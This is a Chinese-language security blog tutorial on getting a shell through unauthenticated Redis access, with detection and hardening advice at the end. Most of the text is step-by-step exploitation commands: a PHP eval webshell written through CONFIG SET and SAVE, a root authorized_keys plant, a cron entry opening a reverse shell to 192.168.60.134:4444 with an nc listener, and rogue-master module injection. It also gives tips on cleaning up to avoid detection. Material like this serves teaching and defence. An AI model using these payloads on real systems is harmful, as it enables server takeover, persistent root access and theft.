Redis未授权访问GetShell:原理、利用方式与安全防护(附实战案例)

什么是Redis?为何它会成为攻击入口?

在现代互联网架构中,Redis 已成为不可或缺的高性能键值数据库。它基于内存运行,支持持久化,广泛应用于缓存系统、消息队列、计数器等场景。

Redis未授权访问GetShell:原理、利用方式与安全防护(附实战案例)

然而,由于其默认配置存在安全隐患——无密码认证 + 监听公网端口,导致“Redis未授权访问漏洞”频发,成为黑客入侵服务器的重要跳板。

一旦攻击者通过该漏洞获取控制权,便可轻松实现 GetShell,进而掌控整个服务器系统。本文将深入剖析Redis未授权访问的成因、四种主流GetShell方法,并提供完整复现流程和防御建议,适合网络安全初学者与运维人员阅读。


漏洞成因:为什么会出现未授权访问?

Redis 默认监听 6379 端口,若未做安全加固,极易暴露于公网。以下是常见配置不当的情况:

配置项默认值安全风险
bind127.0.0.1若设置为 0.0.0.0 或注释掉,则监听所有IP
protected-modeyes若关闭且无密码,则允许远程连接
requirepass未设置密码时无需认证即可登录

结论:只要满足以下任一条件,就可能存在未授权访问:

  • 未设置密码,且 bind 为 0.0.0.0

  • 未设置密码,protected-mode no,且无防火墙限制

此时,攻击者只需执行如下命令即可连接目标Redis服务:

1redis-cli -h <目标IP> -p 6379

无需密码,直接进入交互模式,拥有完整的读写权限!


GetShell四大经典手法详解

方法一:WebShell 写入(需知网站路径)

适用前提

  • 目标服务器运行Web服务

  • Redis有权限写入Web目录(如 /var/www/html

  • Web容器能解析PHP/JSP等脚本

攻击流程

  1. 连接Redis服务:

    1redis-cli -h 192.168.60.130
  2. 设置备份路径为Web目录,并更改文件名为 .php

    1config set dir /var/www/html
    2config set dbfilename webshell.php
  3. 写入一句话木马(注意换行符保护):

    1set payload "\n\n<?php @eval($_POST['cmd']);?>\n\n"
    2save
  4. 使用蚁剑或Burp Suite连接 http://target/webshell.php,密码为 cmd,成功GetShell!

📌 提示:使用双引号包裹payload以确保 \n 被正确解析。


方法二:SSH公钥认证(高权限提权利器)

适用前提

  • Redis以 root用户 启动

  • 目标开启SSH服务,且允许密钥登录(PubkeyAuthentication yes

攻击流程

  1. 在攻击机生成SSH密钥对:

    1ssh-keygen -t rsa -C "attacker@kali"
  2. 将公钥内容加载到Redis中(前后加换行防止格式错误):

    1(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    2redis-cli -h 192.168.60.130 flushall
    3cat key.txt | redis-cli -h 192.168.60.130 -x set crackit
  3. 修改Redis备份路径为 .ssh 目录并保存为 authorized_keys

    1redis-cli -h 192.168.60.130
    2config set dir /root/.ssh
    3config set dbfilename authorized_keys
    4save
  4. 使用私钥直接SSH登录:

    1ssh -i ~/.ssh/id_rsa root@192.168.60.130

✅ 成功免密登录,获得root shell!


方法三:计划任务反弹Shell(通用性强)

适用前提

  • Redis以高权限(如root)运行

  • 系统支持crontab定时任务

攻击流程

  1. 设置备份目录为计划任务目录:

    1config set dir /var/spool/cron/
  2. 指定文件名为 root(代表root用户的cron任务):

    1config set dbfilename root
  3. 写入反弹shell指令(每分钟执行一次):

    1set payload "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.60.134/4444 0>&1\n"
    2save
  4. 攻击机监听端口:

    1nc -lvnp 4444

等待片刻,即可收到目标机器反连的shell!

⚠️ 注意:此操作会覆盖原有root计划任务,易被发现,建议使用后及时清理。


方法四:主从复制+模块注入(适用于Redis 4.x/5.x)

这是近年来较为高级的利用方式,利用Redis模块扩展机制执行任意命令。

工具推荐

使用步骤

  1. 克隆项目并编译恶意模块:

    1git clone https://github.com/vulhub/redis-rogue-getshell
    2cd redis-rogue-getshell
    3make
  2. 启动恶意Redis服务,诱使目标连接为从节点:

    1python3 redis-master.py -r <目标IP> -p 6379 -L <攻击机IP> -P 8888 -f exp.so -c "id"
  3. 工具自动建立主从同步,加载so模块并执行指定命令(如反弹shell、提权等)

🎯 此方法不依赖文件写入,隐蔽性更强,是目前自动化攻击常用手段。


检测与防护建议

🔍 如何检测是否存在Redis未授权访问?

  1. 扫描开放6379端口的服务:

    1nmap -p 6379 --script redis-info <IP范围>
  2. 尝试无密码连接:

    1redis-cli -h <IP> ping

    若返回 PONG,则说明可未授权访问。

  3. 使用专业检测工具:

🛡️ 安全加固措施(运维必看!)

措施配置方法
✅ 设置强密码在 redis.conf 中添加:
requirepass YourStrongPassword123!
✅ 绑定内网IPbind 127.0.0.1 或具体内网段
✅ 关闭保护模式仅限可信环境protected-mode yes(默认开启)
✅ 修改默认端口port 6380(非必要不暴露)
✅ 使用防火墙限制iptables/云安全组仅允许可信IP访问6379
✅ 降权运行Redis使用普通用户启动Redis进程
✅ 禁用危险命令如 FLUSHALLCONFIGEVAL 等:
rename-command FLUSHALL ""

安全源于细节

Redis未授权访问虽非严格意义上的“漏洞”,但因配置疏忽而引发的安全事件屡见不鲜。从WebShell到SSH登录,再到计划任务与模块注入,攻击手法多样且危害巨大。

作为开发者或运维人员,务必牢记:

绝不将数据库服务直接暴露在公网!

最小权限原则 + 密码认证 + 防火墙策略 = 基础安全保障

发表评论

评论列表

还没有评论,快来说点什么吧~